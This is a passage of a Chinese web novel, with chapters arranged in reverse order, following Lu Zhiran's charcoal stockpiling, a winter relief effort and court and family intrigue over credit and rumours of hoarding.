“父亲莫不是忘了,女儿当初给邢大人匀了一千斤,后来,又给您的其他同僚一家匀了五六百斤。咱们府里无炭可用,也是我命人送了一千斤到库房。现在父亲母亲让我都捐出去,是要把府里的炭例都拿出去捐了?” 陆贯轩被她反问得噎住,一时哑口。 方氏则有种被点到的羞恼,府里无炭可用,可不就是她这个当家主母的失误吗? 方氏掩饰般地抚了抚鬓发,“你父亲说的是寻常木炭,而非银丝炭。你当时也买了不少木炭,据母亲所知你也一直未曾出售过。” 陆知苒:“我的确没有卖,但那批炭我已经做了其他安排。” 陆贯轩态度强势,“我不管你做了什么安排,都给我撤回,立马把那批木炭捐出去,不仅要捐,还得大张旗鼓地捐,定要想法子把民怨平复。” 陆知苒摇头,“父亲,此事只怕恕难从命。” 陆贯轩大怒,“你反了天了不成?” 陆知苒语气平静,“不管您信不信,女儿现下手头上已经没了半点木炭,便是想捐也有心无力。” 方氏苦口婆心地劝,“苒姐儿,此事非同小可,你可不能使小性子。” 陆知苒依旧八风不动,“母亲,女儿没有使小性子,若女儿手里有炭,定然早就捐出去了。” “这,这……我们相信你有什么用?关键是要百姓们相信,让皇上相信!眼下所有人都认定你囤了炭,若你毫无动作,如何自证?只怕连带着你父亲都有可能会被御史台参上一本啊!” 方氏心中既有些着急,又有些幸灾乐祸。 陆知苒闯了如此大祸,老爷定然会厌了她。 果然,陆贯轩的脸色黑沉如锅底。 他怒声诘问,“你到底把那些炭用到了何处?” 陆知苒摇头,“父亲,此事女儿现在还不能告诉您。” 陆贯轩重重拍桌,“事到如今你还敢隐瞒,你这逆女,要把我害死不成?” 一声声责骂,毫不留情,与前几日的温和慈爱判若两人。 这就是她的父亲。 一个极度自私自利的男人,眼里只有利益。 任何人在他眼里,只有有用和无用之分。 对这样一个人,陆知苒已然不抱任何希望。 她微垂眼睑,掩住了自己眸底的冷嘲。 “父亲,女儿所作的任何事,都是以陆家的利益为先,陆家好,女儿才能好。此事女儿自有谋划,您不必担心,过不了多久,一切便将拨云见日。” 她的语气笃定,一副胸有成竹的神色,陆贯轩的怒意顿住,转而露出怀疑。 “你到底在耍什么把戏?” “您若信得过女儿,只需耐心等待便是。” 方氏蹙着眉,忧心忡忡,“苒姐儿,并非我们不信任你,而是此事并非小事,一个搞不好就会牵连整个陆家,你若不说清楚,叫我们如何能放心?” 陆知苒直接甩了个软钉子,“您便是再如何逼问,那些炭也收不回来,又何必执着于此?” 说完不再理会方氏,只看着陆贯轩,“父亲,女儿既然能替您走通邢家的门路,这一次,女儿就能再给您挣一份意想不到的大礼回来。若女儿做不到,甘愿以死谢罪,断然不会牵连陆家半分。” 陆贯轩看着她眸底那运筹帷幄的自信,心头不禁狠狠一震。 陆贯轩深深地看着她,“记住你的话。” 方氏心头一紧,老爷竟然信了她的话? 心中生出一股强烈的危机,若叫她的计谋得逞,今后在陆家,自己只怕就彻底压不住她了! 可是,她的底牌究竟是什么? 陆知苒在陆贯轩的盛怒之中全身而退,全须全尾地回到了瑶光阁,翠芙和丹烟都松了口气。 “小姐,接下来咱们要怎么做?让石管事公开您的身份吗?” 陆知苒淡淡摇头,“时机未到。” 此时公开,打脸还不够痛。 石齐舟又派人送来了新的消息,他已经派人盯着闹事之人,此事与宣平侯府脱不开干系。 对此,陆知苒并不意外,因为这件事从一开始就是她自己的谋划,是她故意放出自己囤炭的消息,引宣平侯府出手。 他们果然也没让自己失望,把这场风波推到了顶点。 沉吟片刻,陆知苒道:“让石叔先暗中搜集证据,旁的不要妄动。” 证据不足,就不能贸然出手,不然打草惊蛇,下次再想引对方上钩就不容易了。 第64章 囤积居奇的奸商 萧晏清愣在当场。 这么大的事,父皇竟交给了萧晏辞? 他心头闪过一抹阴霾。 便是众臣也没反应过来,七皇子可不是什么着调的性子,这般重任交给他,万一再弄出什么乱子来,岂不麻烦? 有性情耿直的臣子直接提出了反对,“皇上,此事非比寻常,不能有半分差池,交给七皇子恐怕不妥,六皇子行事沉稳,更适合担此重任。” 很快就有其他臣子附和,萧晏清的唇角无声勾了勾。 在朝中,果然自己更得人心。 萧晏辞那个破财的穷鬼与自己根本没有一较之力。 谁料,德丰帝却是一下沉了脸,语气意味不明。 “怎么,同样都是朕的儿子,六皇子做得,七皇子就做不得?” 最先开口那老臣立马诚惶诚恐地道:“微臣并非此意,微臣只是觉得此事事关重大,出不得差池……” 德丰帝冷哼一声,“你怎么就能断定,由七皇子来做此事定会出差池?朕告诉你们,这次局势逆转,七皇子功不可没。” “早在天气暖和之时,他便囤了大批炭和棉花,这些时日,价格暴涨他也不曾出手,这次直接无偿交了出来,为朕分忧。” “便是而今那些搭建了收容所的商行,也与七皇子有交情,他们愿意无偿捐出自己的货品,只怕也有七皇子的一份力。此事无人会比他办得更周全。” 这番话一出,堂下霎时一静。 萧晏清更是难以置信。 这,怎么可能? 但父皇亲口所说,不可能有假。 萧晏清双拳紧握,心口涌起一股难言的气闷。 很快,他露出敬佩之色。 “儿臣不知七皇弟私底下竟然做了这么多,儿臣方才有此提议也只是想替父皇分忧,绝无抢功之意,何大人等人亦不知内情,这才对七皇弟颇有误解,请父皇息怒。” 那几位臣子连忙跪地请罪,德丰帝的脸色这才稍稍和缓。 此事就此揭过,但众人心中掀起的波澜却迟迟不能平复。 萧晏清沉着脸回到皇子府。 此事完全出乎他的预料,杀了他一个措手不及。 都说老七天生破财命,生意做啥亏啥,这回,他竟能低价囤了一批炭和棉花?难不成,此前那所谓破财命,全都是障眼法? 唤来心腹,“去查一查,我那好皇弟是如何与那些商贾搭上线的。” 此事必须查清楚,若老七这么多年都是装的,那自己可就要好好正视这个对手了。 楚翊安被调派到临时收容所维持秩序,赋闲在家的赵书宁也主动前去帮忙。 机会不会从天而降,她不能坐以待毙。 越来越多的百姓闻讯而来,这其中便有不少身体虚弱的妇孺,赵书宁这个女医的确有用武之地。 大多数病患身上脏污,宫里的御医见了都面露嫌弃,也并不愿意为其医治。 唯有赵书宁,忙前忙后,态度亲和,十分尽心。 很快,她在百姓中便慢慢有了声望,大家都对她交口称赞。 由太仓商行牵头搭建的收容所,得了朝廷的大力嘉奖,明眼人都能想到,待此事了结,参与的商行或多或少都能捞到一笔功劳。 那些原本高价售炭的商行立马主动投诚,将自家库房里的炭和保暖衣物全都捐了出去。 此时已然不是计较损失的时候,能多做弥补,避免事后被清算,已是万幸。 而其他商家,则是有粮捐粮,有肉捐肉,唯恐自家被落下。 一时间,朝廷准备的赈灾物资都没派上用场,全都被那些想要挣表现的商户包圆了。 德丰帝见此情形,龙心大悦。 “好,好好好,众商贾有此气节,实乃大齐之幸。此事小七办得甚好,当真为朕分担了许多!” 萧晏清听了这话,心头再次升起一股浓浓的危机。 就在此时,另外一则小道消息在茶楼酒馆之中不胫而走:有一家商行囤了一大批炭,却迟迟不卖,只为等炭价继续攀升,好赚个盆满钵满,谁料半道杀出个程咬金,叫他们的计划落了空。 而今各家商行纷纷慷慨解囊,主动捐赠救灾物资,那家商行却是毫无作为,便是早先囤积的炭也不曾捐出来,只怕还想留着再寻合适时机赚上一笔。 有人刻意引导,那家不知名的商行顿时引发了众怒。 “此事当真?究竟是哪家?” “不管是谁,此等行径,实在令人不齿!” “而今国难当头,大家都同心协力,共渡难关,却还有人存了私心,一心只想着赚黑心钱,实在是令人唾弃。” 在这一声声的高呼唾骂中,终于有人放出了消息。 “若我没有猜错的话,那家商行应是陆氏商行。” “陆氏?哪个陆氏?” “便是前些时日自宣平侯府和离归家的陆氏,那几家铺子都是那陆氏女的嫁妆。” “竟是她!一个和离女,不好生在家里待着,成日就想着赚钱,赚的还是这等黑心钱,实在令人不齿!如此品性,难怪宣平侯府与她和离。” 短短半日,有关陆氏商行囤积居奇的行径就彻底传开,人人唾骂,陆家的那几处商行更是遭到了百姓的围堵和打砸。 一开始管事还出面解释,但百姓们十分激动,还有人在其中带节奏,根本无人听他们的解释,管事和小厮都挨了打,只能赶紧关了店铺避难。 此事迅速传到了陆家,陆贯轩气得脸色铁青,方氏亦是一副气恼至极的模样。 “苒姐儿怎的这般糊涂,为了那点子蝇头小利犯下众怒,实在是不该!她自己的名声毁了不说,老爷也要被带累了。” 方氏的气恼并非作假,毕竟,这件事若是处理不好,不仅会影响陆家的声誉,也会影响自己女儿的婚事。 听了这话,陆贯轩的脸色更加黑沉,原本因邢家之事对陆知苒生出的好感彻底没了。 大手重重往桌上一拍,“本以为她是个有成算的,不成想骨子里就带着商贾的短视,与她那娘亲没什么两样!去把她给我叫来!” 第63章 这很好笑吗? 石齐舟皮笑肉不笑,“小人见过楚大人。” 楚翊安没有察觉他的冷淡,整个人都洋溢着热情。 “石管事,不必多礼。西平一别,没想到又在此遇到了。我方才已听人说起,这些暖棚是你们太仓商行牵头搭建,这些炭火也是你们商行带头免费供给。贵商行心有大义,一再舍己为民,实在令在下敬服!” 他语气真诚,眼神真挚,俨然是发自肺腑。 石齐舟语气悠悠,“这些决策都是东家吩咐安排,我们不过听命行事罢了。” 楚翊安:“贵东家如此心系百姓,真乃我辈楷模。” 石齐舟似笑非笑地看着他,“只可惜,我们东家那么好的人,却遭身边人背叛,那小人只听信旁人的谗言,却独独看不到东家的好,实在可恨。” 楚翊安眉头顿时深深蹙起,“如此偏听偏信,实在有眼无珠!” “可不是有眼无珠嘛,不过这样也好,那一家子鼠目寸光,背信弃义之徒,配不上我们东家。” 楚翊安深以为然,“贵东家行此义举,定能得到皇上嘉奖,届时便不是那等小人能高攀的了。” 石齐舟哈哈大笑。 “楚大人所言极是!” 楚翊安真诚开口,“在下仰慕贵东家许久,不知石管事能否帮忙引荐一二?西平之恩,尚未有机会言谢。” 一道突兀笑声自身后传来,楚翊安回头,浑身都紧绷起来。 “属下见过七皇子。” 出了一口恶气,心情正好的石齐舟:? 他脸上的笑容凝固,瞪大了眼睛看着萧晏辞。 眼前之人,竟,竟是七皇子? 石齐舟后背开始冒冷汗,这段时间应当没有得罪他吧! 萧晏辞脸上带着明晃晃的笑,看上去心情不错。 “在聊什么?” 楚翊安语气略微僵硬,“下官与石管事是旧识,随便聊了两句。” 萧晏辞非常努力地忍着笑,“本皇子方才听到,你们好像在聊太仓商行的东家?” 方才能言善道的石齐舟这会儿开始磕巴起来了。 “啊是,对,没,没错……” 楚翊安语气认真,“下官对他很是仰慕,想请石管事帮忙引荐一二。” 萧晏辞笑得身子都开始抖动起来。 楚翊安:? 这很好笑吗? 石齐舟也被他笑得战战兢兢的。 都说七殿下性情古怪,一言不合就抡拳头打人,但没听说他性情这般……这般活泼啊。 好容易才止住了笑,萧晏辞努力端出一脸正色,“本皇子对贵商行的东家也早有耳闻,只缘悭一面,石管事,到时候你给楚大人引荐之时,定要带上本皇子。” 这么精彩的时刻,他怎么能错过? 石齐舟只能连连点头,同时心中又不免忐忑,自己这是不是给大小姐招惹麻烦了? 楚翊安觉得萧晏辞的反应很奇怪,但一时之间,又想不明白究竟是怎么回事。 没有多想,他很快告退了。 石齐舟十分麻利地朝萧晏辞行礼告罪,“草民有眼不识泰山……” 萧晏辞直接抬手将人捞了起来,“是本皇子有意隐瞒,怎能怪你?更何况,真要算起来,你还是本皇子的救命恩人,本皇子岂是是非不分之人?” 石齐舟见他语气如常,原本悬着的心总算放了下来。 “殿下不怪罪就好。” 萧晏辞抬手,在石齐舟的肩上拍了一下,“这回你替朝廷分忧,立下了大功,只要这事不出岔子,回头本皇子替你请功。” 石齐舟赶忙推辞,“小人不敢居功,此事从头到尾都是东家做的安排,小人不过照吩咐办事罢了。” “她自是居功甚伟,但你和手底下弟兄们的功劳也少不了。” 萧晏辞亲厚地勉励一番,石齐舟心中顿时燃起一股熊熊的斗志。 当初救下他们主仆二人的时候,他还有些后悔。 实在是他们当时看上去满脸匪气,压根不像好人,他很担心自己引狼入室。 而今,他庆幸自己当初的善心。 他们收容百姓之事进展十分顺利,朝廷的反应更是迅速,第一时间就派了禁军前来维持秩序,协理此间事宜,这其中定然少不了七皇子的手笔。 短短一日,城南这处临时收容所便聚集了城内城外大半穷苦受冻的百姓。 老弱妇孺都在暖棚里取暖,有劳动力的男人都争抢着干活,只要干活,都能拿工钱,每人还能领到一件厚实的棉衣。 这片荒地,在此刻彻底活了过来,几个商行的名字也深入人心。 此时城中,几个商行的铺面前亦是热闹非凡,很多百姓都在排队买炭。 远远的,就能看到这些店铺门口上立着一个偌大的牌子:有炭出售,五文一斤。 五文的价格,是大多数人家都能承受得起的。 但凡有些家底的人家,都愿意自己掏钱买炭,而不需要到临时收容所去挤占真正需要收容之人的空间。 而原先那几处高价卖炭的商铺,已无人问津,甚至还被路过的百姓拿石头打砸,连铺面都不敢开。 不过一日,这场风波便被彻底平息。 翌日朝堂上,德丰帝收到了此事呈报,紧锁数日的眉头终于彻底舒展开来,也总算知道那为朝廷分忧之人究竟是谁。 没曾想,陆知苒那一个小小弱女子,竟两次帮了朝廷这么大的忙! “好好好,有此心怀天下的忠义之商,实乃我大齐之幸!传朕旨意,凡是他们收容所的所有物资,皆由朝廷拨款,待此事了了,再另行论赏!” 一个长身玉立,丰神俊朗的男子出列,朝上首朗声开口。 “父皇,此次救灾只怕非一日之功,后续灾民数量也会越来越多,儿臣愿为父皇分忧,前去收容所指挥调度,维续治安。” 此人正是李贵妃所出的六皇子,萧晏清。 皇后无子,只有萧宝珠一女,德丰帝尚未册立太子,对几个儿子俱是一视同仁。 皇子们年十五便能出宫开府,入朝听政,在各衙历练,待娶了王妃便册封封号,年过二十五,便要前往封地。 而今尚在京中的皇子便只有五六七八四位,前头的几个都去了封地。 五皇子体弱,整日关在府中不出门。 萧晏辞懒怠,入朝听政也是三天打鱼两天晒网。 八皇子年纪小,还未到临朝听政的年纪。 唯有六皇子萧晏清最是勤勉,日日上朝,在礼部历练亦是十分认真,半点不摆皇子的架子,颇得朝臣夸赞。 此时他主动请缨,众朝臣也不觉得意外,甚至觉得,此事由他来负责,再合适不过。 谁料,德丰帝却笑着道:“小六能有此心,朕心甚慰,不过此事朕已经派了你七弟负责,你便专心在礼部当差吧。” 第62章 城外惊现收容所 探问之下,石齐舟道出打算,“这批货我本也不打算大赚,过几日,我便会联合其他商行一起控价,届时价钱必然大跌,你若错过了这个时机,只能赚点零花钱,再想赚取高价就不可能了。” 萧晏辞满心钦佩,石齐舟连连摆手,“我不过一介管事,一切都是听从东家之命行事罢了。” 萧晏辞心中剧震。 先是西平捐药捐粮,而今又有囤炭控价,放着白花花的银子不挣,只为了百姓的生计着想,如此胸襟,如此大义,便是男子都少有。 萧晏辞本是想借机大赚一笔,但很快改了主意,转头他便入了宫。 做了好事,自然要邀功。 五分的功劳,他都得夸成十分,更何况,这本就是十分的功劳,再多恩赏都是他们应得的。 德丰帝听他这番话,对对方的身份生出好奇。 “何人有如此忧国忧民之心?朕定重重有赏!” 萧晏辞卖了个关子,“父皇很快就知道了,到时候,父皇可不要吝惜赏赐。” 在德丰帝跟前刷了一波好感,萧晏辞便走了。 海口夸出去了,正事自然要办好,半点差池都不能有,不然到时候可就打脸了。 翌日,棉衣和炭价再次飞涨,不少百姓都激动地围在了几个商户门前,一副要上前打砸抢夺的架势。 现场气氛霎时紧绷,一触即发。 楚翊安的差事是负责城门内外的守卫和门禁,而今城中不太平,他便被安排与五城兵马司配合巡查治安。 此时眼见双方要起冲突,楚翊安立马领着手下上前阻拦。 他拔剑怒喝,“大胆刁民,胆敢在城中闹事,休怪我们刀枪无眼!” 百姓们被震慑住了,但也有人无所畏惧。 “有什么好怕的,反正迟早也要被冻死,还不如直接来一下更干脆!” “辛辛苦苦一整年,到头来却连一筐炭都买不起,这日子索性不过了!” “我们全家只有一件棉衣,老婆孩子只能躺在床上,盖着破旧的被子。再这么下去,我们一家子老小迟早要冻死!” “你们不严惩那些奸商也就罢了,还把刀对准我们这些平头老百姓,这世道,当真是不让人活啊。” 哭喊四起,引得百姓激愤不已,他们不怕死地往刀上撞,反倒逼得兵卒们连连后退,楚翊安的面色难看。 他自是不敢真的伤了人,但若不能把这场风波镇压下去,只怕也会被上头问责。 正在双方气氛焦灼之时,那头忽而传来一道响亮的锣鼓声,紧接着便是一道高亢的喊声。 “烤火咯!烤火咯!太仓商行,万利商行,润发商行……在城外设了暖棚,人人都可以去烤火取暖,还有免费的姜汤,先到先得!大家快来!” 几人骑在马上,一边敲锣打鼓,一边高声呼喊,整条街很快沸腾起来,这边的僵持也被化解。 “真的假的?” “你没瞧见吗?他们穿着官服,难道还有人敢冒充官府行事?” “有太仓商行,你们还记得太仓商行吗?就是那个在西平大战中捐赠粮食和药材的义商,此事定然是真的!” 众人一边议论,一边呼啦啦地往城外涌。 究竟是真是假,去看看就知道了。 楚翊安也有些惊讶,没多想,带着人跟上。 很快,众人就涌到了城外,看到眼前的情形,一个个瞪大了眼。 原本被雪覆盖的荒凉旷野已然被清理干净,搭起了一间间连绵的暖棚,目之所及竟是看不到尽头。 暖棚上以石板瓦遮挡,四周则以厚重的防水隔帘相隔,将萧瑟的寒风彻底隔绝。 帘幕掀开,一盆盆炭火烧得旺旺的,汹涌暖意扑面而来,熏得人浑身滚烫。 而每个暖阁前都搭着两个巨大的铁锅,袅袅冒着热气,一个个衣着褴褛的人蜂拥着排队,欣喜地接过一碗热腾腾的姜汤。 那些已经冻得麻木之人看到这番红火的盛况,浑身都沸腾了起来,不管不顾地冲上前。 临到近前,又被那一个个身形魁梧高大的禁军唬住,只能老老实实地排队,不敢有半分逾矩。 楚翊安和一众手下看着眼前盛况,心头剧震。 这些暖棚的搭建绝非一日之功,怕是早在气温骤降之初就已经开始张罗。 要收容这般多百姓,为众人提供暖身的炭火,其所耗之巨,可想而知。 楚翊安沿着暖棚走过去,看到了一张张被炭火烘得红火发热的脸,还有一双双炽热的眼睛。 他心头也跟着燃起一股激荡澎湃。 都说商贾多奸猾,然而,舍得耗费如此巨资,救济百姓的商贾,其大气与魄力简直令人敬佩叹服,而这其中便有太仓商行。 若是有机会,他定要与太仓商行的东家当面道一句佩服。 行至暖棚的尽头,楚翊安再度被眼前情形镇住。 眼前是一座矮山,已然没了去路,矮山的断面之上,赫然被凿出了一排巨大的洞口,一个个身形高壮的男子扛着粗壮的木条往洞口中塞,然后点燃。 待木材中燃起火,他们便飞快将洞口封上。 滴水成冰的天,他们一个个都满头大汗,浑身干劲,眼底同样跳跃着希望的光芒。 楚翊安疑惑开口,“这是在做什么?” 一名汉子声音粗犷地回话,“这是在烧炭呢!十日后,这批炭就能出炉,到时候咱们就不必担心无炭可用了。” “石管事他们真是大好人!不仅给老人孩子准备了暖阁,还为我们安排了烧炭的活儿,教我们烧炭的手艺,每日咱们还能有工钱拿!他们可真是我们的再生父母啊!” “对啊,以后我再也不骂商贾是奸商了,这世间,还是好人居多。” 楚翊安心潮澎湃的同时,又不禁生出一股汗颜来。 正是那些曾经自己瞧不上的商贾,齐心协力,为百姓做了这些事,化解了原本一触即发的争端和困局。 能想出如此周全之法之人,更是有大才者。 余光瞥见一道熟悉的身影,楚翊安心头一喜,连忙快步上前。 “石管事。” 石齐舟身形微顿,转头朝他看来。 楚翊安满脸喜色,“石管事,当真是你。” 当初在西平之时,楚翊安便见过石齐舟,因着救命之恩,对他印象自然极好。 第61章 为父皇分忧解难 陆贯轩赞许地点了点头,“还是你考虑得周全,此事交由你来办我放心。” 陆贯轩和陆知苒先后离开知春苑,陆映溪终于绷不住,扑到方氏的怀里哭了起来。 “父亲从来没有那般训斥过我!他训斥我也就算了,偏生还要那般抬举陆知苒,我的脸面全都丢尽了!” 方氏一边安抚她,一边恨恨咬牙。 “那小贱人,当真可恨!我定不会叫她一直这么得意下去!” 陆映溪抹了一把眼泪,“我们把她的那些炭全都毁了,到时候她也别想在父亲跟前讨到好!” 方氏立马阻拦,“这可使不得。你父亲的升迁要紧,我们再怎么恼恨她,也断然不能毁了你父亲升迁的大事。你父亲升上去了,你的婚事也能更上一个台阶。” 陆映溪也不过是说气话,她自然也知道这个道理。 语气闷闷的,“那到底要如何?” “且让母亲好好想想。咱们不能急,那小贱人现在颇有手段,咱们要除掉她,就得好生谋划,万不能出半点纰漏,反叫她将了一军。” 方氏耳提面命,总算把陆映溪安抚好了。 且等着瞧吧,自己才是父亲最疼爱的女儿,她的得势不过是一时的。 回到瑶光阁,陆知苒就吩咐手下去安排银丝炭一事。 原本她还在思考如何进一步与邢家拉近关系,现在可真是瞌睡了就有人递枕头。 不过小半日谭旭文便办妥了,邢家买下了那批银丝炭。 翌日,陆贯轩下朝之后心情非常不错。 “今日散朝之时邢大人主动向我表达了感谢,还说改日登门拜访。这可多亏了苒姐儿啊。” 方氏心里酸溜溜的,但到底还是高兴,相信来年开春的考核中,自家老爷定能评优升迁了。 当晚,瑶光阁的晚餐格外丰盛,还多了一道西湖醋鱼。 陆知苒看着那道菜,眼中泛起一抹冷嘲。 当初,他若肯用心为娘亲准备一道西湖醋鱼,娘亲临死也不会那般不甘。 她没有碰那道菜,赏给了下人。 …… 大雪没日没夜地下,地上的雪积了厚厚一层,寻常百姓们都闭门不出,原本街边的流浪汉也早没了踪影,不知躲到哪个角落避风躲暖去了。 或许,悄无声息地死在了哪里也未可知。 无人关心,因为大家都自顾不暇。 朝廷出面控价,打压商贾哄抬物价之举,但木炭供不应求,总有人愿意出高价抢购,人为控价收效甚微,民怨越发高涨。 如此继续下去,只怕迟早要有百姓被冻死。 茶楼酒馆中,说书先生对那些借此机会发国难财的商贾联合攻讦,买不起炭的老百姓们更是群情激奋,大骂商贾昧德丧良,一心只赚黑心钱。 德丰帝近日气压低沉,手底下的官员被训得大气不敢出,没人敢往他跟前凑。 萧晏辞却不怕,巴巴凑到了德丰帝跟前。 德丰帝见了他也没了往日的好脸色。 “没事别来烦朕。” 萧晏辞一副嬉皮笑脸的模样,“父皇,儿臣可是来替您分忧的。” 德丰帝狐疑地看着他,“你?” “没错。” 德丰帝压根不信,“你什么德性朕还不知道,你能有这能耐,太阳都能打西边升起来。” 萧晏辞不服气了,“父皇,您可别门缝里瞧人,把人看扁了。” “你倒是说说,你要如何替朕分忧?你若是说不出个所以然来,朕定不饶你。” 萧晏辞立马换上了一副严肃神色,“前些日子,儿臣花了一笔银子,买了一批货,打算做一笔大买卖。” “什么大买卖?” 萧晏辞语气悠悠,“炭和棉花,现在这批货还好好地放在库房里头呢。” 德丰帝立马坐直了身子,“此话当真?” “瞧您说的,儿臣岂敢欺君?” 德丰帝语气激动,“你买了多少?” “不多,也就三万两银子。”顿了顿,又补充,“当时炭价五文不到,棉花三十文不到。” 德丰帝大喜,“好,好,太好了!小七,没想到,你竟也有此等经商天赋,看来悟尘大师说的转机到了!” 萧晏辞闻言一愣,“父皇此话何意?什么转机?” 德丰帝心情大好,满脸褶子都笑开了。 “悟尘大师说你天生破财命,若要破此命格,只能静待转机,但转机是什么,何时会来,谁都不知道。而今看来,你的转机果真到了。” 那老秃驴还说过这话? 萧晏辞露出若有所思之色。 他会做这生意,全是因为陆知苒的缘故,难不成,她便是自己的转机? 萧晏辞还在思考此事,德丰帝已然迫不及待地追问起木炭和棉花的所在,一副立马就要命人去搬的架势。 萧晏辞:“照现在的价,儿臣若是倒卖出去,立马就能赚上一大笔。但儿臣想到父皇近日一直在为此事烦忧,就只能忍痛,把这批货让给您。” 德丰帝哼笑一声,“朕什么时候让你吃过亏?朕库房里的东西,你随便挑。” 萧晏辞绽出笑颜,“多谢父皇。不过,儿臣既然要替父皇分忧,自然不能光动动嘴皮子,此事的后续之事交给儿臣便是。” 自己的功劳,他可没有拱手让人的道理。 德丰帝似有些不信任,毕竟他可没干过几桩正经差事。 萧晏辞又抛出了一记诱饵,“父皇,儿臣除了手里的这批货,还有其他门路。而且,那批数量,远比儿臣手里的要多得多。” 他比了个数目。 德丰帝眼底都是亮光。 “当真?” “父皇,如此大事,儿臣岂会玩笑?其实,原本此事便不是儿臣牵头,有人已在暗中蓄力,要为父皇您分忧。儿臣想着功臣不能被埋没,这才在父皇跟前多嘴两句。父皇您若不信,只管看着便是。眼下困局,不日便能破解。” 当初,萧晏辞厚脸皮表示要入伙石齐舟,他虽还没有暴露自己的身份,但石齐舟也没拒绝。 萧晏辞知道自己的运势,他从不插手这桩生意的安排,只出银子。 此次棉花和炭价格暴涨,石齐舟迟迟没有出手,萧晏辞一开始只当他是想待价而沽。 但石齐舟今日却提醒他,抓紧时间赶紧出手,再过几日炭价和棉花就要下跌了。 他言辞笃定,萧晏辞敏锐地捕捉到了另一层讯息。 第60章 好好向你姐姐学习 “二小姐到底是夫人所出,素日便十分得脸,所作决定夫人没有不允的,是以奴婢没敢再阻拦。夫人明鉴,奴婢所言句句属实啊!” 张婆子这话叫陆映溪的脸上更加挂不住。 陆贯轩沉着脸,周身都笼着一股沉沉低压。 “方氏,你便是如此教养溪儿的?纵得她连这么大的事都敢私自做主!” 这话把方氏母女都狠狠责骂了进去,母女二人脸色更加难看。 陆映溪自幼得宠,从未被父亲斥责过,今日是头一回,还是当着那么多下人的面,她顿觉一股汹涌的委屈袭上心头,眼眶也红了。 方氏对陆映溪纵然责怪,但此时却是心疼居多。 “老爷,此事是妾身之过,是妾身没有管教好溪儿。她年纪小,不懂事,今后妾身定好好教导,绝不会再犯这样的错。” 陆贯轩的怒火却并未平复。 眼看升迁之事十拿九稳,而今却突发这种变故,他如何不气? 这简直是在剜他的肉啊! “她已经不小了,都已经及笄了,还这般不懂事,如何议亲?行事如此不周,便是嫁出去,只怕也会在夫家闯下祸端!” 这番词严厉色,叫陆映溪的眼泪再也憋不住,簌簌滚落下来。 方氏心疼极了,只能继续说好话。 “老爷,溪儿也是无心之失,更何况,她这次送出去的银丝炭也并非毫无用处,那几家得了我们陆家的好处,也能成为老爷的助力……” 陆贯轩甩袖,“他们连我的官职都不如,谈何助力?” 方氏语塞。 在勋贵云集的京城,陆贯轩官职低微,她娘家的身份亦是不显,会主动巴结讨好陆家之人,官职的确更低。 “但事情未必没有转圜之机,我们府中还有其他银丝炭……” 陆贯轩冷声打断她,“就凭那仅剩的两筐?就算我们这个冬日都不再用那银丝炭,但就那么点子炭送出去,我是讨好还是自讨没趣?” 方氏着急,正要解释,外头就传来一道接话的声音。 “父亲需要银丝炭吗?女儿倒是采买了一批,正好可以为父亲分忧解难。” 话音落,陆知苒迈步而入。 方氏原本到嘴的话瞬间卡壳。 陆贯轩看向陆知苒,脸上挂着怀疑。 “此话当真?” “如此大事,女儿自然不会信口胡言。早前就有管事提醒女儿,今年会是寒年,建议女儿多囤积些炭,正好女儿手头有一笔闲钱,便低价购置了一批木炭和银丝炭。” “这些时日炭火价格飙升,女儿也未曾出手,便是想着或许我们自己会有需要的时候。钱财到底是身外之物,这次没赚到下次还能再赚,凡事自然要先紧着自家人。而今看来,女儿的决定果然没错。” 陆贯轩闻言,隐约想起先前她的确提过买炭之事,当下不再怀疑。 “好好好,苒姐儿,你与以往果然大不一样了,行事当真稳妥多了。” 陆贯轩的赞赏不加掩饰。 陆映溪咬唇,从小到大,从来都是她被夸赞,陆知苒被嫌恶。 而今,自己被父亲训得狗血淋头,陆知苒反倒被夸上了天。 蒙着眼泪的双眸闪过一抹深深的嫉妒与怨恨。 凭什么?她不就是刚好有几个臭钱,刚好踩了狗屎运囤了些炭吗? 方氏到底养气功夫了得,哪怕心里憋屈得不得了,面上依旧一副欣喜模样。 “太好了,苒姐儿这回真是帮了大忙了。” 陆知苒弯唇,朝方氏露出一抹有些腼腆无害的笑。 “我也是运气好罢了,若是这回能帮父亲顺利升迁,也算是值了。” 陆贯轩听了,心中越发熨帖,看着陆知苒的眼神更加充满赞赏。 “溪儿,你应该好好向你姐姐学习。” 陆映溪勉强扯了扯唇角,从齿缝里挤一个字。 “是。” 丫鬟们陆续上菜,这次的菜色依旧是陆映溪爱吃的,但她却没了半点胃口。 陆贯轩难得上了心,“苒姐儿不是爱吃西湖醋鱼吗?今儿个厨房怎么没做?” 方氏心里咯噔一下,正欲开口,陆知苒就抢了先。 “许是母亲事忙,尚未招到擅长做苏杭菜的厨子,没关系,不过一道菜罢了。” 陆贯轩满脸不悦地看向方氏。 “这满桌子的菜都是溪儿爱吃的,苒姐儿不过就是想吃一道西湖醋鱼,你却这般久都安排不妥,你是怎么办事的?” 方氏脸上霎时一阵青一阵红,像是被人连扇了几个耳光。 这是她的知春苑,她的饭桌上,全是自己女儿爱吃的菜有什么问题? 可方氏不敢顶嘴,不然自己只会更加没脸。 “年关将近,妾身一直在忙着张罗过年之事,一时没分出神来……” 陆知苒一副诚惶诚恐的模样,“父亲,您别责怪母亲,女儿也掌过家,深知打理一府上下究竟有多忙碌。不过一口吃的罢了,女儿不吃也没关系的,你们不要为了女儿生了争执。” 她越是这般大度地开口解围,陆贯轩对方氏就越发不满。 “苒姐儿是陆家的嫡长女,就算你心里有所偏颇,也应当有个度。” 这份敲打不可谓不重,方氏的指甲深深掐进肉里,心里恨得不行,面上却只能乖乖应是。 陆映溪也头一次见到父亲对母亲这般疾言厉色,她完全吓傻了。 没了方氏母女小意温柔的调节气氛,整个晚膳都很沉默。 饭毕,陆贯轩直接吩咐陆知苒,“苒姐儿,一事不烦二主,邢家之事便还是交给你来办。” 方氏满脸错愕。 这上好的机会,怎就白白送给陆知苒了?到时候,邢家岂不是只记得陆知苒的好处? 方氏开口阻拦,“老爷,如此只怕不妥,苒姐儿现在毕竟只是待嫁女,如何能代表陆家行事?” 陆贯轩不悦,“你懂什么,邢大人难讨好。苒姐儿上次好容易得了邢大人几分脸面,这回她再送去上好的银丝炭,邢大人也会更加记下这个人情。但凡换个人,都不可能起到这般好的效果。” 方氏张了张嘴,却没能说出其他反对的理由来。 陆知苒认真道:“父亲,女儿认为公然送炭只怕邢家不一定肯收,如此也会让邢大人有收受贿赂之嫌。不若我们以低价把银丝炭卖给邢家,邢家若是愿意买,便是已经领受了我们的好意。” 第59章 雪中送炭 